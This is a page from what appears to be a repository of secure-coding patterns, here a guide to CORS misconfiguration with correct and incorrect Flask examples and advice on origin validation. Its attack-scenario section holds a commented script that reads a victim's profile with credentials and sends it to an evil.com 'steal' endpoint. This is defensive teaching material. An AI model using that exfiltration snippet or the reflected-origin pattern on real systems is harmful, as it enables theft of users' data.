Files
Rodin 17c535bc61 Add session management, CORS, XXE patterns
Complete the security patterns collection:
- session-management.md: fixation, hijacking, secure cookies, concurrent sessions
- cors.md: origin validation, reflected origin attacks, preflight caching
- xxe.md: external entities, DTD attacks, language-specific fixes

Now 19 patterns covering comprehensive web application security.
2026-05-10 23:20:36 -07:00

5.5 KiB

CORS Misconfiguration

Rule

Never reflect Origin blindly. Allowlist specific origins. Don't use credentials with wildcards.

Source: OWASP CORS Cheat Sheet

CORS Basics

Browser blocks cross-origin requests by default. CORS headers selectively allow them:

Header Purpose
Access-Control-Allow-Origin Which origins can access
Access-Control-Allow-Credentials Allow cookies/auth
Access-Control-Allow-Methods Allowed HTTP methods
Access-Control-Allow-Headers Allowed request headers

Correct Pattern

from flask import Flask, request

ALLOWED_ORIGINS = {
    "https://app.example.com",
    "https://admin.example.com",
}

def add_cors_headers(response):
    origin = request.headers.get("Origin")
    
    # Validate against allowlist
    if origin in ALLOWED_ORIGINS:
        response.headers["Access-Control-Allow-Origin"] = origin
        response.headers["Access-Control-Allow-Credentials"] = "true"
        response.headers["Access-Control-Allow-Methods"] = "GET, POST, PUT, DELETE"
        response.headers["Access-Control-Allow-Headers"] = "Content-Type, Authorization"
        response.headers["Vary"] = "Origin"  # Important for caching!
    
    return response

# For public APIs without credentials
def add_public_cors(response):
    response.headers["Access-Control-Allow-Origin"] = "*"
    # Note: credentials CANNOT be used with wildcard
    response.headers["Access-Control-Allow-Methods"] = "GET"
    return response

# Handle preflight requests
@app.route("/api/<path:path>", methods=["OPTIONS"])
def preflight(path):
    response = make_response()
    return add_cors_headers(response)

Incorrect Pattern

# Wrong: reflect any origin (allows any site to access)
@app.after_request
def bad_cors(response):
    origin = request.headers.get("Origin")
    response.headers["Access-Control-Allow-Origin"] = origin  # Reflected!
    response.headers["Access-Control-Allow-Credentials"] = "true"
    return response
    # Attack: evil.com can now make authenticated requests

# Wrong: wildcard with credentials
response.headers["Access-Control-Allow-Origin"] = "*"
response.headers["Access-Control-Allow-Credentials"] = "true"
# Browser will reject, but shows misunderstanding

# Wrong: regex bypass
def check_origin(origin):
    return origin.endswith(".example.com")
    # Bypassed by: attacker-example.com

# Wrong: null origin allowed
ALLOWED_ORIGINS = {"https://app.example.com", "null"}
# "null" origin sent by sandboxed iframes, file:// URLs - attacker controlled!

# Wrong: substring match
def check_origin(origin):
    return "example.com" in origin
    # Bypassed by: example.com.evil.com

Origin Validation

from urllib.parse import urlparse

ALLOWED_ORIGINS = {"https://app.example.com", "https://admin.example.com"}

def is_valid_origin(origin: str) -> bool:
    """Strict origin validation."""
    if not origin:
        return False
    
    # Never allow null
    if origin == "null":
        return False
    
    # Exact match against allowlist
    if origin in ALLOWED_ORIGINS:
        return True
    
    # If you need subdomain matching, be careful:
    try:
        parsed = urlparse(origin)
        # Must be HTTPS
        if parsed.scheme != "https":
            return False
        
        # Exact domain match (not suffix!)
        allowed_domains = {"app.example.com", "admin.example.com"}
        if parsed.netloc in allowed_domains:
            return True
        
        # Subdomain of specific parent (careful!)
        if parsed.netloc.endswith(".trusted.example.com"):
            # Verify it's actually a subdomain, not suffix attack
            parts = parsed.netloc.split(".")
            if len(parts) >= 4 and parts[-3:] == ["trusted", "example", "com"]:
                return True
    except Exception:
        return False
    
    return False

Attack Scenarios

# Scenario 1: Data theft via reflected origin
# 
# Vulnerable server reflects any Origin with credentials
# 
# Attacker's evil.com:
# <script>
# fetch("https://api.victim.com/user/profile", {
#     credentials: "include"
# })
# .then(r => r.json())
# .then(data => {
#     // Send stolen data to attacker
#     fetch("https://evil.com/steal?data=" + JSON.stringify(data))
# })
# </script>

# Scenario 2: CSRF via CORS
#
# If CORS allows credentials from evil.com,
# evil.com can make authenticated state-changing requests

Preflight Caching

@app.after_request
def cors_headers(response):
    origin = request.headers.get("Origin")
    if origin in ALLOWED_ORIGINS:
        response.headers["Access-Control-Allow-Origin"] = origin
        response.headers["Access-Control-Allow-Credentials"] = "true"
        response.headers["Access-Control-Max-Age"] = "86400"  # Cache preflight 24h
        response.headers["Vary"] = "Origin"  # CRITICAL for caching
    return response

# Why Vary: Origin matters:
# Without it, CDN might cache response for origin A
# Then serve that cached response to origin B (wrong ACAO header!)

Edge Cases

  • WebSocket connections don't use CORS (use Origin header manually)
  • Access-Control-Expose-Headers needed for custom response headers
  • Preflight not sent for "simple" requests (GET, POST with basic headers)
  • Internal APIs should still validate Origin (defense in depth)
  • Browser extensions can bypass CORS (not a vulnerability)
  • Server-to-server requests don't involve CORS